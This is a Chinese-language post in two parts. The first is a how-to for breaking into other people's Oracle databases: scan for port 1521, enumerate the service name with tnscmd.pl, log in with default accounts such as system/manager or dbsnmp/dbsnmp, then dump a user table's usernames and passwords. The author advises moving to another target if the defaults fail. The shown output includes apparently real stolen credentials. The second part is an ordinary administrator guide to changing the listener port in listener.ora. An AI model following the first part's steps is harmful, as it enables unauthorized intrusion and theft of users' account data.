需要工具Active Perl,Oracle客户端,Superscan或者是其它扫描端口的软件,
Tnscmd.pl。
我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:
复制内容到剪贴板
代码:
C:\perl\bin>perl tnscmd.pl
usage: tnscmd.pl [command] -h hostname
where 'command' is something like ping, version, status,
etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified
logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS command size (reveals packet
leakage)
我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。。。。
然后我们就这样来:
复制内容到剪贴板
代码:
C:\perl\bin>perl tnscmd.pl services -h
xx.xx.110.110 -p 1521 –indent
sending (CONNECT_DATA=(COMMAND=services)) to
xx.xx.110.110:1521
writing 91 bytes
reading
._.......6.........?. ..........
DESCRIPTION=
TMP=
VSNNUM=135286784
ERR=0
SERVICES_EXIST=1
.Q........
SERVICE=
SERVICE_NAME=ORCL
INSTANCE=
INSTANCE_NAME=ORCL
NUM=1
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATED SERVER
STA=ready
HANDLER_INFO=LOCAL SERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=447278
REFUSED=0
HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
HANDLER_NAME=DEDICATED
ADDRESS=
PROTOCOL=beq
PROGRAM=/home/oracle/bin/oracle
ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'
ARGV0=oracleORCL
ARGS='
LOCAL=NO
'
.........@
从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的哦~~~~。
如下:
复制内容到剪贴板
代码:
C:\oracle\ora90\BIN>sqlplus /nolog
SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59
2002
(c) Copyright 2001 Oracle Corporation. All rights reserved.
SQL>connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=xx.xx.110.110)(port=1521)))(connect_data=(SERVICE_NAME=ORCL)));
如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。
成功连接后,这样来
复制内容到剪贴板
代码:
SQL>select distinct owner from all_objects;
上面是查看数据库里面有多少用户,是不是觉得oracle数据库和mssql数据库很象?提交后出现以下信息:
CTXSYS
MDSYS
DEMO
PUBLIC
SYS
SYSTEM
ORCL
...
我们需要的就是ORCL了,其他全是系统默认的,没有什么价值,呵呵~~~~
SQL>select owner,table_name from dba_tables where
owner='ORCL';
上面是查看数据表的内容了,提交后,出现以下信息:
OWNER TABLE_NAME
------------------------------
------------------------------
ORCL MLOG$_T1
ORCL PLAN_TABLE
ORCL VODAD
ORCL VODADMIN
ORCL VODBUSI
ORCL VODFIRM
ORCL VODFIRMDETAIL
ORCL VODGROUP
ORCL VODLOG
ORCL VODSUR
......
......
ORCL REGUNITTYPE
ORCL REGUSER
....
怎么样,发现你感兴趣的没有呢?REGUSER?用户信息。。。。。。哈哈。然后提交如下语句:
SQL> desc ORCL.REGUSER;
Name Null? Type
----------------------------------------- --------
----------------------------
UNAME VARCHAR2(32)
PASSWORD VARCHAR2(20)
IDTYPE VARCHAR2(2)
IDNUM VARCHAR2(20)
OCCUPATION VARCHAR2(2)
BIRTHDAY DATE
USTATE NUMBER(38)
.....
是不是眼前一亮?出现了用户名和密码的字眼哦,那好等什么呢?提交如下语句吧:
SQL> select UNAME,PASSWORD from
ORCL.REGUSER;.....
UNAME PASSWORD
---------------- --------------------
coolboy 780929
Babycat 546789
Mickey 794951
WING 357954
Badb0y 490570
abcd 161346
wwwcool 940216
UNAME PASSWORD
---------------- -------------------
****************************************************************************************************************************************************************************************************
般Oracle安装好之后的默认端口为1521,为了安全。如何更改。
1、查看监听端口:
C:\Documents and Settings\mengzhaoliang>lsnrctl
status
LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on
17-12月-2008 18:2
8:20
Copyright (c) 1991, 2005, Oracle. All rights
reserved.
正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=orcl)))
LISTENER 的 STATUS
------------------------
别名 LISTENER
版本 TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Produ
ction
启动日期 15-12月-2008 17:35:26
正常运行时间 2 天 0 小时 52 分 58 秒
跟踪级别 off
安全性 ON: Local OS Authentication
SNMP OFF
监听程序参数文件 D:\oracle\product\10.2.0\db_1\network\admin\listener.o
ra
监听程序日志文件 D:\oracle\product\10.2.0\db_1\network\log\listener.log
监听端点概要...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\orclipc)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1521)))
服务摘要..
服务 "orcl" 包含 2 个例程。
例程 "orcl", 状态 UNKNOWN, 包含此服务的 1 个处理程序...
例程 "orcl", 状态 READY, 包含此服务的 1 个处理程序...
服务 "orclXDB" 包含 1 个例程。
例程 "orcl", 状态 READY, 包含此服务的 1 个处理程序...
服务 "orcl_XPT" 包含 1 个例程。
例程 "orcl", 状态 READY, 包含此服务的 1 个处理程序...
命令执行成功
2、改变端口号
在D:\oracle\product\10.2.0\db_1\NETWORK\ADMIN\listener.ora文件
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION
=
(ADDRESS = (PROTOCOL = IPC)(KEY = orcl))
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
)
)
改成:
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION
=
(ADDRESS = (PROTOCOL = IPC)(KEY = orcl))
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1568))
)
)
3、停止监听命令:
C:\Documents and Settings\mengzhaoliang>lsnrctl
stop
LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on
17-12月-2008 18:30:31
Copyright (c) 1991, 2005, Oracle. All rights
reserved.
正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=orcl)))
命令执行成功
4、重启监听命令:
C:\Documents and Settings\mengzhaoliang>lsnrctl
start
LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on
17-12月-2008 18:30:44
Copyright (c) 1991, 2005, Oracle. All rights
reserved.
启动tnslsnr: 请稍候...
TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production
系统参数文件为D:\oracle\product\10.2.0\db_1\network\admin\listener.ora
写入D:\oracle\product\10.2.0\db_1\network\log\listener.log的日志信息
监听:
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\orclipc)))
监听:
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1568)))
正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=orcl)))
LISTENER 的 STATUS
------------------------
别名 LISTENER
版本 TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Produ
ction
启动日期 17-12月-2008 18:30:45
正常运行时间 0 天 0 小时 0 分 1 秒
跟踪级别 off
安全性 ON: Local OS Authentication
SNMP OFF
监听程序参数文件 D:\oracle\product\10.2.0\db_1\network\admin\listener.ora
监听程序日志文件 D:\oracle\product\10.2.0\db_1\network\log\listener.log
监听端点概要...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\orclipc)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1568)))
服务摘要..
服务 "orcl" 包含 1 个例程。
例程 "orcl", 状态 UNKNOWN, 包含此服务的 1 个处理程序...
命令执行成功
这样就可以成功更改监听端口号了
5、测试是否成功进入数据库
用超级用户可以连接上数据库SQL>sqlplus "/as sysdba"
但用普通用户不可以,如SQL>sqlplus test/test@ORCL
用户连接不是数据库:出现:
ERROR:
ORA-12514: TNS: 监听程序当前无法识别连接描述符中请求的服务
原来listener.ora内容:
# listener.ora Network Configuration File: D:\oracle\product\10.2.0\db_1\network\admin\listener.ora
# Generated by Oracle configuration tools.
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC
=
(SID_NAME = PLSExtProc)
(ORACLE_HOME = E:\oracle\product\10.2.0\db_1)
(PROGRAM = extproc)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION
=
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1))
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
)
)
改成(红色部分为增加、修改部分):
# listener.ora Network Configuration File: D:\oracle\product\10.2.0\db_1\network\admin\listener.ora
# Generated by Oracle configuration tools.
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC
=
(SID_NAME = PLSExtProc)
(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)
(PROGRAM = extproc)
)
(SID_DESC =
(GLOBAL_DBNAME = ORCL)
(ORACLE_HOME
= D:\oracle\product\10.2.0\db_1)
(SID_NAME =
ORCL)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION
=
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1))
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1568))